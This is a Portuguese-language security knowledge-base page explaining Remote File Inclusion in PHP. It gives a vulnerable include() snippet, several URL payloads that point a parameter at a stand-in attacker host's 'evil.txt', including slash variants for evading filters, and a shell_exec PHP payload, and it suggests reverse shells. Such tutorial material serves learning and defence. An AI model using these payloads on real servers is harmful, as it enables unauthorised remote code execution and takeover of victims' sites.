> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/rfi.md).

# RFI

## RFI (Remote File Inclusion)

A inclusão remota de arquivos, conhecida como RFI (Remote File Inclusion), é uma técnica que ataca sites incluindo arquivos "externos" (como PHP Shell). Se o atacante explora com sucesso, ele pode executar comandos arbitrários no servidor web da vítima.\
No caso no PHP, as RFIs são menos comuns que as LFIs, porque para fazê-los funcionar, o desenvolvedor deve ter editado o arquivo de configuração `php.ini`.

Supondo que nosso alvo tenha o seguinte código PHP:

```bash
$include_file = $_REQUEST["file"];
include($include_file);
```

Podemos fazer um RFI com o seguinte parâmetro:

```bash
http://example.com/index.php?page=http://<attackerserver>.com/evil.txt
# ou
http://example.com/index.php?page=//<attackerserver>.com/evil.txt
http://example.com/index.php?page=///<attackerserver>.com/evil.txt
http://example.com/index.php?page=////<attackerserver>.com/evil.txt
http://example.com/index.php?page=/////<attackerserver>.com/evil.txt
http://example.com/index.php?page=//////<attackerserver>.com/evil.txt
```

Nosso arquivo `evil.txt` pode conter algum comando (ou shell reverso), por exemplo:

```bash
<?php echo shell_exec("whoami");?>
```

{% hint style="info" %}
**DICA:** Sempre que o alvo estiver vulnerável a RFI, tente executar códigos que estejam em servidores remotos, seja no exemplo acima feito em PHP, em Javascript (como vimos anteriormente na seção de XSS) ou qualquer outra linguagem.
{% endhint %}

#### Sites

```bash
https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/lfi-rfi
```
